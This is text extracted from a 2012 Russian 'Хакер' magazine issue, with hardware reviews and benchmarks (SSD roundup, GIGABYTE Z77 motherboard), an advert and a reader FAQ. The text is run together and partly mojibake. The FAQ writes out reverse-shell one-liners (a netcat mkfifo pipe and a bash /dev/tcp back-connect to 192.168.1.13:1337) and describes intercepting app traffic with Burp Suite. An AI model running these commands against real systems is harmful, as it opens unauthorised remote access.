ЗОЛОТОИспользование одного и того же контроллерав столь большом количестве продуктов,несомненно, на руку потребителю, так какпроизводителям остается лишь снижать цены,дабы обойти конкурентов. По крайней мере,так ситуация выглядит сперва. Но вот незадача— на какой накопитель ни глянь, всюдупочти одинаковые характеристики: скоростьпоследовательного чтения/записи переваливаетза 500 Мб/с, везде SandForce SF-2281, —а вот цены разнятся чуть ли не в полтора раза.Так в чем же дело? Секрет, который редковстретишь в официальных характеристикахтого или иного SSD, заключается в используемойфлеш-памяти, модификации которойотличаются по пропускной способности вразы. В недорогих накопителях используетсямедленная асинхронная память, в более продвинутых— синхронная либо альтернативныйвариант — Toggle-mode DDR NAND. Несмотряна большую разницу в их производительности,твердотельные накопители разных ценовыхкатегорий с контроллерами от SandForceпоказывают почти одинаковую скоростьпоследовательного чтения/записи — за этоони и пользуются такой популярностью у всевозрастающего числа производителей SSD.Так что же вообще тогда отличает недорогиенакопители от их топовых собратьев? Дляответа на этот вопрос необходимо коснутьсяособенности упомянутых контроллеровкалифорнийской компании. Она заключаетсяв сжатии данных на лету, что значительноуменьшает обращение к флеш-памяти. Этопозволяет даже при работе с не очень качественнойи медленной памятью добиватьсятех заветных пиковых 5хх/5хх Мб/с, которыемаркетологи указывают на рекламныхпроспектах и коробках с SSD. Когда же делодоходит до несжимаемых или плохо сжимаемыхфайлов, вроде архивов, JPG, MP3 и томуподобных, картина наконец проясняется. Припоследовательном чтении/записи сжимаемыхданных разница в скорости между дорогими идешевыми SSD мало заметна, но те же чтение/запись с несжимаемыми данными четко разделяютлидеров и отстающих. Другими словами,производительность накопителей с менее«расторопной» памятью при работе с такимиданными падает иногда чуть ли не вдвое. Конечно,это не единственный фактор ценообразования.На себестоимость SSD также влияеттехпроцесс, по которому изготовлена флешпамять.Чипы 2х нм новее и дешевле в производстве,но чаще всего имеют меньше цикловперезаписи, нежели чипы, выполненные по3х-нм технологии. Свое берет и прошивка —далеко не каждый производитель, кстати,вносит изменения и улучшения в изначальныймикрокод контроллеров SandForce.МЕТОДИКА ТЕСТИРОВАНИЯМы подвергли твердотельные накопителинескольким тестам (их результаты ты можешьувидеть на графиках в конце статьи). НашиSSD вытерпели от бенчмарка PCMark Vantage(подтест «HDD») самые разнообразные нагрузки,имитирующие реальные. В графикахмы отразили как общий результат в баллах,так и итоги для каждого вида нагрузки вмегабайтах в секунду. С помощью синтетическоготеста ATTO Disk Benchmark мы увиделито, что каждому пользователю SSD хотелосьбы лицезреть каждый день в действительности,— те заветные пять сотен мегабайт всекунду последовательного чтения и записи,ради которых все больше людей отказываютсяот установки ОС на обычные HDD. Такжемы замеряли скорость последовательного (сблоками 128 Кб) и случайного (с блоками 4 Кб)чтения и записи с помощью старого доброгобенчмарка Iometer. Он же использовался длянагрузки накопителей паттернами, имитирующимиработу файлового сервера, рабочейстанции и тому подобного. Напоследок отметим,что накопители объемом 240 Гб имеютнебольшое преимущество в производительностинад собратьями с памятью на 120 Гб всвязи с особенностями работы контроллераSandForce. Это нужно помнить при сопоставлениирезультатов.ТЕСТОВЫЙ СТЕНДПроцессор: Intel Core i7-3960X, 3300 МГцМатеринская плата: ASUS P9X79 PROОперативная память: 4 4 Гб, G.SKILL F3-1700CL9-4GBZH, DDR3 1600 МГцВидеокарта: Sapphire Radeon HD 3450Накопитель: Corsair CSSD-F120GB2-BRKTБлок питания: Corsair CP-9020006ОС: Windows 7 Максимальная, 64-разрядная132 ХАКЕР 08 /163/ 2012


Be quick or be deadCORSAIR CSSD-F120GBGT-BKorsair представил три линейки SSD с интерфейсомSATA 3.0: простенькие накопители ForceСSeries 3, высокопроизводительные PerfomanceSeries Pro и промежуточный вариант — Force Series GT.Наш первый «подопытный» относится к промежуточномуварианту. Его корпус покрашен в сочный красный цвет,который как бы намекает, что мы имеем дело не с утомительномедленной мямлей. К нему прилагается кронштейндля отсека 3,5 дюйма — не во всех корпусах можнонайти отдельные слоты под 2,5-дюймовые устройства.Основу Corsair CSSD-F120GBGT-BK составляет контроллерSandForce SF-2281 и быстрая синхронная память,выполненная по 25-нм техпроцессу. Этот тандем показалв наших тестах очень хорошие результаты, в частностипродемонстрировал лучшую производительностьв тесте последовательного чтения/записи в Iometer,обогнав даже детище Intel. При этом он стоит всего натысячу «деревянных» дороже, чем самый дешевыйSSD на 120 Гб, а также «хвастается» двумя заявленнымимиллионами часов наработки на отказ. Радует и невысокаяусловная стоимость за гигабайт, которая на моментнаписания статьи равняется примерно 1,7 доллара.6000РУБ.12 600РУБ.INTEL SSDSC2CW240A3K5вердотельные накопители Intel SSD 520 Series с интерфейсомSATA 3.0 под кодовым названием CherryvilleТбыли анонсированы только в феврале, и в эту линейкувошли пять SSD объемом от 60 до 480 Гб. Уже нынешнейосенью гигант чипмейкерства собирается свернуть производствопредыдущей, 510-й серии накопителей. Интересно,что в этой уходящей в прошлое линейке был использованконтроллер Marvell 88SS9174-BKK2, а в Cherryville мы видим,да-да, именно SandForce SF-2281. Вместе с ним производительиспользует в новых SSD дорогую память Toggle-mode DDRNAND с техпроцессом 25 нм. Во всех наших тестах накопительIntel SSDSC2CW240A3K5 показывал превосходные результатыи занимал место в тройке лидеров. Теперь о комплектации:очень приятно увидеть все необходимое в коробке с новенькимSSD: кабель SATA, переходник питания с Molex на SATA, небольшуюброшюрку-мануал и компакт-диск. Кстати, для того,чтобы достичь наилучших результатов, производитель советуетподключать накопитель к родному контроллеру системнойплаты, то есть с чипсетом Intel. Также отметим, что на IntelSSDSC2CW240A3K5 дается пятилетняя гарантия.ХАКЕР 08 /163/ 2012 133


FERRUMKINGMAX KM240GSMP358800РУБ.омпания KINGMAX ориентируется на производство памятиво всех ее проявлениях: флешки, оперативка, внешние HDD,Ки, само собой, в этот список также входят твердотельныенакопители. Причем представлены не только привычные нам SSDв форм-факторе 2,5 дюйма, но также формата mSATA и Half-Slim.KINGMAX KM240GSMP35 — выходец из линейки наиболее производительныхнакопителей азиатской компании. Несмотря на этот факт,в SSD установлена память асинхронного типа. Контроллер SandForceSF-2281 «выжимает» из нее достаточно много, но в целом по результатамтестов KINGMAX KM240GSMP35 выступает середнячком. Достоверноузнать, какой техпроцесс использовался при изготовлениипамяти, нам не удалось, но, судя по заявленному времени работы, ответнапрашивается сам — 25 нм. Вопрос комплектации производительрешил наиболее мудрым способом: предоставил покупателю правовыбрать самому, нужна она ему или нет. Покупая KINGMAX SMP35Client (тот, что мы протестировали), ты получаешь, как и в случае с IntelSSDSC2CW240A3K5, переходник с Molex и SATA-кабель для подключенияк контроллеру материнской платы, а также кронштейн и кратенькиймануал. Если же встретишь KINGMAX SMP32 Client, то перед тобойровно такой же накопитель, просто в облегченной комплектации.OCZ VTX3-25SAT3-240GТак сложилось, что накопители компании OCZ вполне можноназвать самыми узнаваемыми. Неудивительно, ведь этафирма одной из первых выпустила SSD на базе контроллеровSandForce второго поколения, а также постоянно занимаетсясерьезной доработкой их прошивок. К тому же OCZ предоставляетвесьма обширный модельный ряд накопителей, состоящий нынеиз пяти различных линеек. OCZ VTX3-25SAT3-240G относится ковторой по производительности линейке OCZ Vertex 3 SATA III 2.5''SSD. И в связи с этим вполне закономерно, что в нем используетсядорогая синхронная память. А вот тот факт, что у детища OCZ самаянизкая в нашем тесте условная цена за 1 Гб, вызывает приятноеудивление. При этом производительность у OCZ VTX3-25SAT3-240Gнаходится на должном уровне, хотя, конечно, у моделей с меньшимобъемом и результаты будут скромнее. Что любопытно, OCZс недавнего времени серьезно занимается продвижением SSD насвоем собственном контроллере, разработке которого поспособствовалапокупка в марте 2011 года корейской компании Indilinx.Но вернемся к нашему OCZ VTX3-25SAT3-240G. Его сравнительнонебольшая стоимость должна была хоть на чем-то сказаться,поэтому в комплекте мы нашли только салазки с винтами да дразнящуюнаклейку «My SSD is faster than your HDD».11 400РУБ.ТЕХНИЧЕСКИЕХАРАКТЕРИСТИКИCorsair CSSD-F120GBGT-BKIntel SSDSC-2CW240A3K5KINGMAXKM240GSMP35Форм-фактор:Интерфейс:Тип памяти:Контроллер:Заявленная скорость чтения:Заявленная скорость записи:Время наработки на отказ:Объем:2,5 дюймаSATA 3.0MLC, синхронная, 25 нмSandForce SF-2281555 Мб/с515 Мб/с2 млн ч20 Гб2,5 дюймаSATA 3.0MLC, Toggle-mode DDR NAND, 25 нмSandForce SF-2281550 Мб/с520 Мб/с1,2 млн ч240 Гб2,5 дюймаSATA 3.0MLC, асинхроннаяSandForce SF-2281550 Мб/с520 Мб/с1,2 млн ч240 Гб134ХАКЕР 08 /163/ 2012


Be quick or be deadVERBATIM SSD SATA IIIКомпания Verbatim на слуху у большинства пользователейПК, ведь она изготовляет самые незаменимыевещи — всевозможные «расходные материалы».Среди них наушники, коврики для мышей, оптические диски,флешки и даже с недавних пор осветительные приборы. Естьв ассортименте и устройства посолиднее: внешние жесткиедиски и SSD. Последний герой нашего теста относится кобычным 2,5-дюймовым накопителям. Он имеет простой дизайнбез претензий и результаты в тестах показывает также не заоблачные,но вселяет уверенность заявленными 2 миллионамичасов «продолжительности жизни». Комплектация у этогоSSD скудная — только мануал. Но возможно, когда-нибудь дляроссийского рынка появится и набор для переноса ОС, которыйбыл у накопителей Verbatim с интерфейсом SATA II: корпус сUSB, специальный софт и пара кабелей. Verbatim SSD SATA IIIнаверняка будет хорошо покупаться неискушенными пользователямиблагодаря узнаваемому имени.5200РУБ.KINGSTON SH100S3/120G6600РУБ.о, что Kingston SH100S3/120G — не какой-нибудь тамсреднестатистический SSD с SATA 3.0, до потенциальногоТпокупателя постарались донести с помощью броскогодизайна. Однако не стоит забывать, что ты все равно не сможешьчасто им любоваться, разве что тебе будет не лень каждый деньснимать крышку системного блока или же разбирать лэптоп.Kingston SH100S3/120G может похвастаться не только своимстильным внешним видом, но также и хорошей «начинкой». Вочередной раз мы констатируем наличие контроллера SandForceSF-2281, но в этом случае в тандеме с памятью синхронного типа,сделанной по 25-нм технологии. В коробке с нашим «подопытным»мы нашли кронштейн для отсека 3,5 дюйма и мануал. Те же, ктоособенно любит комфорт, могут присмотреться к модели KingstonSH100S3B/120G — тому же самому накопителю, но с «волшебнымнабором». Этот кит включает в себя SATA-кабель, отвертку, кронштейн,контейнер для 2,5-дюймового накопителя с интерфейсомUSB 2.0 и программное обеспечение Acronis. Этот вариант комплектацииотлично подойдет для владельцев ноутбуков с однимслотом для накопителей, так как можно не только безболезненноперенести систему на новый SSD, но и впоследствии использоватьHDD из лэптопа как внешний жесткий диск.2,5 дюймаSATA 3.0MLC, синхронная, 25 нмSandForce SF-2281550 Мб/с520 Мб/с2 млн ч240 ГбOCZ VTX3-25SAT3-240G2,5 дюймаSATA 3.0MLCSandForce SF-2281550 Мб/с510 Мб/с2 млн ч120 ГбVerbatim SSDSATA III2,5 дюймаSATA 3.0MLC, синхронная, 25 нмSandForce SF-2281555 Мб/с510 Мб/с1 млн ч120 ГбKingstonSH100S3/120GВЫВОДЫВ итоге награду «Лучшая покупка» получил твердотельныйнакопитель Corsair CSSD-F120GBGT-BK —накопитель из не самой «навороченной» линейки,тем не менее показавший очень хорошую производительностьза сравнительно небольшую стоимость.«Выбор редакции» получает самый-самыйпроизводительный SSD, к тому же с богатой комплектацией— Intel SSDSC2CW240A3K5. Напоследокнужно сказать, что совсем явных аутсайдеров средитвердотльных накопителей мы не выявили, а значит,все из участвующих в тесте фирм вкладывают деньгине только в рекламу, но все-таки и в качествосвоих продуктов. zХАКЕР 08 /163/ 2012 135


РЕЗУЛЬТАТЫ ТЕСТОВPCMARK VANTAGE, БАЛЛЫCorsair CSSD-F120GBGT-BKIntel SSDSC2CW240A3K5KINGMAX KM240GSMP35Kingston SH100S3/120GOCZ VTX3-25SAT3-240GPCMARK VANTAGE, МБ/СCorsair CSSD-F120GBGT-BKIntel SSDSC2CW240A3K5KINGMAX KM240GSMP35Kingston SH100S3/120GOCZ VTX3-25SAT3-240G6000058000560005400052000500004800046000Общий балл бенчмарка PCMark Vantage просто и ясно расставляет всех по своим местамWindows DefenderGamingImproting Pictures to Windows photo GalleryWindows Vista startupVideo editing using Windows Movie MarketWindows Media CenterAdding music to Windows Media PlayerApplication loading0 50 100 150 200 250 300 350 400 450Детальное рассмотрение результатовPCMark Vantage позволяет определитьсильные и слабые стороны накопителейVerbatim 47378Verbatim 47378IOMETER: СЛУЧАЙНОЕ ЧТЕНИЕ/ЗАПИСЬ (4 КБ), МБ/СIOMETER: ПОСЛЕДОВАТЕЛЬНОЕЧТЕНИЕ/ЗАПИСЬ (128 КБ), МБ/СCorsair CSSD-F120GBGT-BKIntel SSDSC2CW240A3K5KINGMAX KM240GSMP35Kingston SH100S3/120GOCZ VTX3-25SAT3-240GCorsair CSSD-F120GBGT-BKIntel SSDSC2CW240A3K5KINGMAX KM240GSMP35Kingston SH100S3/120GOCZ VTX3-25SAT3-240GЧтениеVerbatim 47378ЧтениеVerbatim 47378ЗаписьСлучайное чтение и запись — Marvell вырывается впередПоследовательное чтение и запись в Iometer — Marvell проигрываетЗапись0 5 10 15 20 300 320 340 360 380 400IOMETER PATTERNS, МБ/СCorsair CSSD-F120GBGT-BKIntel SSDSC2CW240A3K5KINGMAX KM240GSMP35Kingston SH100S3/120GOCZ VTX3-25SAT3-240GVerbatim 47378DatabaseFileserverWorkstationWebserver0 10 20 30 40 50 60 70Лидеры видны невооруженным взглядом


030 GOOGLE CHROME 09 (152) 2011ÏÐÀÂÈËÜÍÛÅ ÕÀÊÈÄËß ÈÍÒÅÐÔÅÉÑÀWINDOWS 7ÂÇËÎÌ PHPMYADMINÑ ÏÎÌÎÙÜÞ ÍÎÂÎÃÎ ÁÀÃÀ 064ÌÎÁÈËÜÍÀß ÌÀËÂÀÐÜÄËß ÏËÀÒÔÎÐÌÛ ANDROID 070ÏÐß×ÅÌ, ÎÁÔÓÑÖÈÐÓÅÌÈ ÊÐÈÏÒÓÅÌ JAVASCRIPT 050082ПодпискаГОДОВАЯЭКОНОМИЯ500 руб.1. Разборчиво заполни подписной купон и квитанцию,вырезав их из журнала, сделав ксерокопиюили распечатав с сайта shop.glc.ru.2. Оплати подписку через любой банк.3. Вышли в редакцию копию подписных документов— купона и квитанции — любым изнижеперечисленных способов:• на e-mail: subscribe@glc.ru;• по факсу: (495) 545-09-06;• почтой по адресу: 115280, Москва,ул. Ленинская Слобода, 19, Омега плаза,5 эт., офис № 21,ООО «Гейм Лэнд», отдел подписки.ВНИМАНИЕ! ЕСЛИ ПРОИЗВЕСТИОПЛАТУ В ИЮЛЯ, ТО ПОДПИСКУ МОЖНООФОРМИТЬ С АВГУСТА.ЕДИНАЯ ЦЕНА ПО ВСЕЙ РОССИИ. ДОСТАВКАЗА СЧЕТ ИЗДАТЕЛЯ, В ТОМ ЧИСЛЕ КУРЬЕРОМПО МОСКВЕ В ПРЕДЕЛАХ МКАД12 НОМЕРОВ — 2200 РУБ.6 НОМЕРОВ — 1260 РУБ.УЗНАЙ, КАК САМОСТОЯТЕЛЬНО ПОЛУЧИТЬЖУРНАЛ НАМНОГО ДЕШЕВЛЕ!x 09 (152) 2011 LULZSEC / FOX NEWS 152 : 210 .LULZSEC :, ,FOX NEWSПРИ ПОДПИСКЕНА КОМПЛЕКТ ЖУРНАЛОВЖЕЛЕЗО + ХАКЕР + 2 DVD: —ОДИН НОМЕР ВСЕГО ЗА 162 РУБЛЯ(НА 35% ДЕШЕВЛЕ, ЧЕМ В РОЗНИЦУ)ЗА 12 МЕСЯЦЕВ 3890 РУБЛЕЙ (24 НОМЕРА)ЗА 6 МЕСЯЦЕВ 2205 РУБЛЕЙ (12 НОМЕРОВ)ЕСТЬ ВОПРОСЫ? Пиши на info@glc.ru или звони по бесплатным телефонам8(495)663-82-77 (для москвичей) и 8 (800) 200-3-999 (для жителейдругих регионов России, абонентов сетей МТС, БиЛайн и Мегафон).ПРОШУ ОФОРМИТЬ ПОДПИСКУНА ЖУРНАЛ «ХАКЕР»


FERRUMАлександр МихеевПОДХОДИ, НАЛЕТАЙ,Z77 ВЫБИРАЙ!ТЕСТИРОВАНИЕМАТЕРИНСКОЙПЛАТЫGIGABYTEG1.SNIPER 3ХАРАКТЕРИСТИКИСокет: LGA1155Чипсет: Intel Z77 ExpressПамять: 4 DIMM,DDR3 1066-2666 МГцСлоты расширения: 4PCI Expressx16, 2PCI Express x1, 1PCIДисковые контроллеры: 6SATA3.0, 4SATAII, 1mSATAАудио: 5.1 Creative CA0132Сеть: 1Intel 1000 Мбит/с,1Qualcomm Atheros Killer E22011000 Мбит/сРазъемы на задней панели:1HDMI, 1DisplayPort, 1DVI-D,1D-Sub, 1PS/2, 2RJ-45,6USB 3.0Форм-фактор: E-ATXТЕСТОВЫЙ СТЕНДПроцессор: Intel Core i5-2500K,3,3 ГГцВидеокарта: MSI TWIN FROZR IIHD 5830, 1024 МбОперативная память: G.SkillRipjaws-Z F3-17000CL9Q-16GBZH,24 ГбНакопитель: Corsair CSSD-F120GB2, 120 ГбБлок питания: ENERMAX Platimax,750 ВтОС: Windows 7 МаксимальнаяРЕЗУЛЬТАТЫТЕСТИРОВАНИЯSuper Pi 1.5XS 1m: 10,058 сwPrime 1.55 32m: 8,963 сwPrime 1.55 1024m: 285,55 сWinRAR: 3111 Кб/сCINEBENCH R11.5: 5.5 балла11 700РУБ.138ХАКЕР 08 /163/ 2012


Подходи, налетай, Z77 выбирай!Производители материнских плат, не дожидаясь выхода новой линейки процессоров, уже выдалинемало продуктов на чипсетах Z77 Express и H77 Express. И если тебе уже не терпится выбрать «мать»для Ivy Bridge, да посолиднее, советуем вместе с нами познакомиться с GIGABYTE G1.Sniper 3.ПЕРВОЕ ВПЕЧАТЛЕНИЕВнешне GIGABYTE G1.Sniper 3 повторяет чертыплат всей линейки: черно-зеленый окраси эмблема в виде черепа с ножом в зубахна радиаторе южного моста. Сам же дизайнрадиатора в этот раз довольно консервативный,то есть без стилизации под пистолетили обойму, как в других продуктах геймерскойлинейки G1-Killer. Также необходимозаметить, что радиатор довольно массивный— одна его грань практически упираетсяв разъемы PCI Express x16, другая находитсяв непосредственной близости от слотовоперативной памяти. Радиаторами поменьшезакрыты фазы питания процессора, которыхв нашей плате аж 12.Не обошлось в системе охлаждения платыи без тепловых трубок, а вот маленьких назойливых«вертушек», к счастью, нет.ГЛАВНЫЙ КОЗЫРЬЧем же плата так хороша для геймера? Ответочевиден — наличием сразу четырех слотовPCI Express x16 третьей модификации. Прииспользовании первых двух слотов онибудут работать по схеме x16 + x16, при использованиитрех — х16 + х8 + х8, четырех —х8 + х8 + х8 + х8. Сам по себе встроенныйв Intel Ivy Bridge контроллер PCI Express x16обеспечивает лишь одну линию х16, но с помощьюмоста PLX PEX8747 инженерам GIGABYTEудалось добавить еще одну линию х16. Нехилаяприбавка! При установке двух и болеемощных видеокарт не забывай на всякийслучай подключить дополнительное питаниек разъему ATX4P, который расположен наматеринской плате рядом с разъемом ATX12V.И пусть тебя не пугает название — это тот жеразъем питания, к которому подключают современныенакопители с интерфейсом SATA.ИНТЕРЕСНЫЙ ФАКТНа самом деле в новых чипсетах Intel не такуж много нового. К примеру, остался прежниминтерфейс взаимодействия с процессором— DMI 2.0. C одной стороны, благодаряэтому и была достигнута совместимость между«плющевым» и «песочным» мостами. С другойстороны, этому обязано появление поддержкивсего двух портов USB 3.0 — больше бы не позволилапроизводительность DMI 2.0. Тем не менеесам по себе факт поддержки USB 3.0 — ужепраздник для фанатов Intel. Полезным новшествомтакже стала возможность разделения16 линий PCIe не на два, а на три устройства.КОМПОНОВКАНесмотря на то что GIGABYTE G1.Sniper 3выполнена в форм-факторе E-ATX, на нейпрактически нет свободного места. Под процессорнымсокетом друг за другом расположеныупомянутые четыре слота PCI Expressx16, а между ними два PCI Express x1и один-одинешенек PCI. Также много местазанимает радиатор южного моста. Справаот него находится отсек для установки SSDформата mSATA. Мы уже ранее описывалиплату, где этот отсек являлся главной «изюминкой»и потому в гордом одиночествеи отдалении от прочих компонентов матплаты«возлежал» прямо в центре текстолита.В GIGABYTE G1.Sniper 3 он скромненько приютилсяна краешке, но его функции от этогоне изменились. Установив туда твердотельныйнакопитель объемом вплоть до 64Гб, можно настроить кеширование данныхс твоего HDD на SSD. Как ты уже знаешь,это дает вполне заметный прирост производительности.В верхнем правом углу платыможно обнаружить небольшой «уголок оверклокера».Там есть кнопка питания, Reset,сброс настроек BIOS, крошечный дисплейдля отображения POST-кодов. Там же наконтрольной точке с помощью мультиметралегко можно измерить напряжение разныхкомпонентов системы. В привычном местерасположены SATA-порты, доступ к которымне будут перекрывать видеоадаптеры.Четыре порта из них второй ревизии и ещедва — третьей, все они поддерживают RAID0/1/5/10. Еще четыре SATA 3.0, работу которыхобеспечивает уже не CPU, а контроллерна системной плате — Marvell 88SE9172,поддерживают только RAID 0 и RAID 1.На задней I/O-панели всех портов понемногу:два RJ-45, по одному HDMI, DisplayPort,DVI-D, D-Sub, шесть USB 3.0, которые здесьполностью заменили собой устаревающиеUSB 2.0. Также есть бессменные аудиоджекив количестве пяти штук и оптический S/PDIF.ПРИЯТНЫЕ «НИШТЯКИ»GIGABYTE G1.Sniper 3 сделана с применениемфирменной технологии GIGABYTE UltraDurable 4, сочетающей в себе комплексмер для обеспечения высокого качества,стабильности и долговечности материнскойплаты. Подробнее все эти меры, ярко и скартинками, описаны на сайте производителя,поэтому мы останавливаться на них небудем. Также интерес представляет наличиесразу двух микросхем BIOS, выбрать однуиз которых можно с помощью специальногопереключателя. И если часть пользователейуже успела привыкнуть к UEFI BIOS,то в GIGABYTE пошли дальше и сделалиинтерфейс трехмерным. Но это лучшеувидеть самому, чем сто раз прочитать.Вновь в продуктах серии G1-Killer мы видимкачественные интегрированные сетевыеконтроллеры (Killer Game Networking и IntelGigabit Ethernet) и аудио, к созданию которогоприложила свою руку небезызвестнаякомпания Creative.Вдобавок к плате ты получишь ещеи панель с двумя USB 3.0 для установкина «морду» корпуса, если вдруг на самомкорпусе их нет. И еще одну вещь поинтереснее— плату расширения с Bluetooth 4.0и Wi-Fi 802.11n, которая займет один слотPCI Express x1, если только найдет местомежду графическими адаптерами.ПРАВО ВЫБОРАЕсли вдруг GIGABYTE G1.Sniper 3 окажетсяслишком большой для твоего корпуса,то не спеши отчаиваться — в закромахGIGABYTE есть похожая плата, толькоменьше. GIGABYTE G1.Sniper M3 выполненав форм-факторе mATX, имеет три PEG-слота,один PCI Express x1, поддерживает планкипамяти с частотой вплоть до 2400 МГц, триSATA II и два SATA 3.0 порта и один RJ-45разъем. Немного попроще старшей модели,но и гораздо компактнее.МЕТОДИКА ТЕСТИРОВАНИЯТестирование GIGABYTE G1.Sniper 3 проходилопо нашей обычной методике. Сначалас помощью Super Pi 1.5XS мы замерялипроизводительность при вычислении 1 млнзнаков после запятой числа Пи, используяодин поток процессора. Затем wPrime 1.55проводил те же расчеты, но с 32 и 1024 млнзнаков, задействовав все ядра и потоки«камня». В заключение стабильностьи скорость работы была оценена с помощьюCINEBENCH R11.5 и встроенного в WinRARбенчмарка.ВЫВОДЫИз вышеперечисленного становится ясно,что GIGABYTE G1.Sniper 3 явно придетсяпо вкусу энтузиастам, ни на шаг не отстающимот веяний технологического прогресса.Конечно, стоить продукт на топовомчипсете, для топовой линейки процессоровIntel и с откровенно немалым потенциаломв плане работы с графикой будет отнюдьне дешево. Но не так уж много на фонепрочих комплектующих, которые были быспособны в полной мере раскрыть этот потенциал.Также в пользу выбора GIGABYTEG1.Sniper 3, несомненно, говорит наличиевсех современных интерфейсов, платарасширения с Wi-Fi 802.11n и Bluetooth 4.0,а также целых четыре слота и две линииPCI Express x16. zХАКЕР 08 /163/ 2012139


FAQГлеб Чербов , Digital Security (cherboff@gmail.com)FAQЕСТЬ ВОПРОСЫ — ПРИСЫЛАЙНА FAQ@REAL.XAKEP.RUИногда приходится редактировать кодQ в различных редакторах и IDE, гденужно каждый раз перенастраиватьформатирование кода. Как можно облегчитьтакой переход?Большинство современных IDE и редакторовкода позволяют настраивать такAназываемую индентацию, то есть параметры,определяющие тип и размеры отступов,используемых при форматировании. Но припереносе в другой редактор с другиминастройками индентации придется либо ихменять, либо переформатировать весь кодв соответствии с установленными правилами.К счастью, для избавления от подобного роданеприятностей существует специальноесредство — EditorConfig (bit.ly/editorconfig). Этонабор плагинов и расширений, доступных наданный момент, для почти десятка популярныхсредств разработки, от всеми любимыхNotepad++ и Sublime Text 2 до классическихEmacs и Visual Studio. Унифицированный стильформатирования считывается из конфигурационногофайла .editorconfig. По аналогии с.htaccess, используемым веб-сервером Apache,он располагается в директории с редактируемымифайлами либо выше по дереву каталогов.Для каждого типа файлов можно задатьсвой собственный стиль, определив соответствующуюсекцию. Набор задаваемыхпараметров невелик, но более чем достаточен.Пример определения для пайтон-сценариев:;ограничиваем поиск конфига;выше по дереву каталоговroot = true;начало секции с определением типа[*.py];задаем индентацию пробеламиindent_style = space;количество пробелов в индентеindent_size = 4;задаем символ переноса строкиend_of_line = LFЕсть ли способ в Linux использоватьQ Netcat, скомпилированный безподдержки флагов '-e' и '-c', для организацииудаленного шелла?Netcat не зря называют швейцарскимA армейским ножом для работы с TCP/IP.С его помощью можно и порт открыть,и направить ввод-вывод командного интерпретаторав сокет — а что еще нужно дляуправления системой? ;-) Но часто в дистрибутивахвстречается более безопасная модификацияс «затупленным лезвием» — отсутствиемвозможности запустить приложение иликоманду и повесить его на открытый порт. Чтож, едва ли это сможет нам помешать. Аналогичныйрезультат можно получить, воспользовавшисьстандартными юниксовыми пайпами.Объединим ввод и вывод Netcat и bash ненапрямую, а через созданный FIFO-файл.Эквивалент дляnc -e /bin/bash 192.168.1.13 1337выглядит следующим образом:mkfifo pipe; \cat pipe|/bin/bash| \nc 192.168.1.13 1337 >pipe; \rm pipeЕсли bash собран с поддержкой сетевыхперенаправлений, то можно обойтись вовсебез Netcat, воспользовавшись виртуальнымустройством для работы с TCP, «/dev/tcp».Бэк-коннект обретет следующий вид:/bin/bash -i > \/dev/tcp/192.168.1.13/1337 \0&1QПосоветуйте: с помощью чего подWindows можно защититься от атак типаARP-poisoning?AДействительно, относительная простотареализации и обилие доступного софтаКАК ПРОЩЕ ВСЕГО АНАЛИЗИРОВАТЬ HTTP-ВЗАИМОДЕЙСТВИЕ ПРИЛОЖЕНИЯ ПОДСетевое взаимодействие мобильного приложенияс серверной частью, как правило,наиболее уязвимое звено на пути информацииот пользователя к сервису, что делаетперехват трафика с целью изучения весьмапривлекательным. Как и для анализа любогодругого основанного на HTTP взаимодействия,нам идеально подойдет ужеупоминавшаяся в прошлых номерах утилитаBurp Suite и понадобится еще несколькоинструментов.ПроксиДля начала пустим трафик через1наш хост с запущенным Burp’ом.В настройках (вкладка «Proxy Options»)убеждаемся, что порт открыт для подключенийне только на loopback-интерфейсе, а также выставляемопцию Generate CA-signed per-hostcertificates. На мобильном устройстве потребуетсяустановить проксификатор, напримерProxyDroid (бесплатно доступен в Google Play),и настроить его для работы с нашим хостомдля перехвата.2Генерация сертификатовМобильное приложение может проверятьна соответствие имя хоста,которое запрашивается, и имя в сертификате.Burp Suite же генерирует сертификаты для IPадресовв качестве имени хоста. Так что еслитакая проверка имеется, то смотрим, по какомудоменному имени приложение обращаетсяк серверу, и, используя опцию Generate aCA-signed certificate with a specific hostname,получаем сертификаты.140ХАКЕР 08 /163/ 2012


Вопросы и ответыдля проведения MITM-атак не может ненаталкивать на размышления о собственнойбезопасности. Для обнаружения и предотвращенияпопыток отравления ARP-кешасуществует достаточно решений — отскриптов на VBS до аппаратных системпредотвращения вторжений. Для рядовогоповседневного использования хочетсяпорекомендовать замечательные утилитыDecaffeinatID (bit.ly/decaffeinatid) и ARPFreeze(bit.ly/arpfreeze). Оба инструмента былинаписаны небезызвестным Irongeek’ом дляличного использования и не содержат ничеголишнего. Первая представляет собойлегковесную IDS, функционал которойзаключается в наблюдении за изменениямив ARP-таблице, системным журналомбезопасности (главным образом для информированияо попытках параллельного входав систему) и журналом брандмауэра.О возможной опасности нам сообщитненавязчивая всплывающая подсказкас подробной информацией. ARPFreeze же,являясь по сути GUI-фронтендом для консольныхnetsh и ARP, прекрасно дополняетDecaffeinatID возможностью быстрогопереключения статического и динамическоготипов для соответствий IP- и MAC-адресов.Таким образом, контролируя с их помощьюсостояние ARP-таблицы, можно значительноуменьшить вероятность сценария, в которомименно ты являешься жертвой «человекапосередине».QAЕсть ли способ загружать Androidприложенияиз Google Play прямо на ПК?Вполне резонное желание — получатьприложения непосредственно нарабочий компьютер для, например, дальнейшегореверсинга, минуя операции скачиванияна мобильное устройство и последующийэкспорт apk-файлов. И способ такого скачиванияприложений, конечно, есть! :-) Заключаетсяон в эмуляции мобильного клиента при помощибраузерного плагина для Chrome под названиемAPK Downloader (bit.ly/apkdownload).К сожалению, совсем без мобильногоВОССТАНОВЛЕНИЕ ДАННЫХQВ ПРОЦЕССЕ ВОССТАНОВЛЕНИЯС ПОВРЕЖДЕННОГО НОСИТЕЛЯУДАЛОСЬ СПАСТИ НЕКОТОРОЕКОЛИЧЕСТВО БИНАРНЫХ ФАЙЛОВ, НОИМЕНА С РАСШИРЕНИЯМИ ВОССТАНО-ВИТЬ НЕ УДАЛОСЬ. МОЖНО ЛИ ТЕПЕРЬВЫЯСНИТЬ ХОТЯ БЫ ТИПЫ ФАЙЛОВ?АБывает, как в этом случае, чторезультатом работы средств восстановленияданных действительноявляется множество обезличенныхбинарных файлов, и далеко не о всех,воспользовавшись Hex-редактором,с уверенностью можно сказать, чтоРезультат анализа «толстого эльфа»именно представляет собой этот наборбайт. В подобной ситуации можетоказаться полезной утилита FiletypeID(bit.ly/filetypeid). Имея в своей базе около4720 различных сигнатур, она довольношустро предложит для указанногофайла несколько наиболее вероятныхвариантов его содержимого. Например,на скриншоте можно видеть результатс вероятностью 50/50, что абсолютно верно,так как 